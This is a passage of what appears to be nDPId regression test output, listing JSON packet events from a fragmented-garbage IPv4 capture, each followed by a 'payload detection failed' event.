+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867688,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867701,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":867992,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868017,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":868083,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 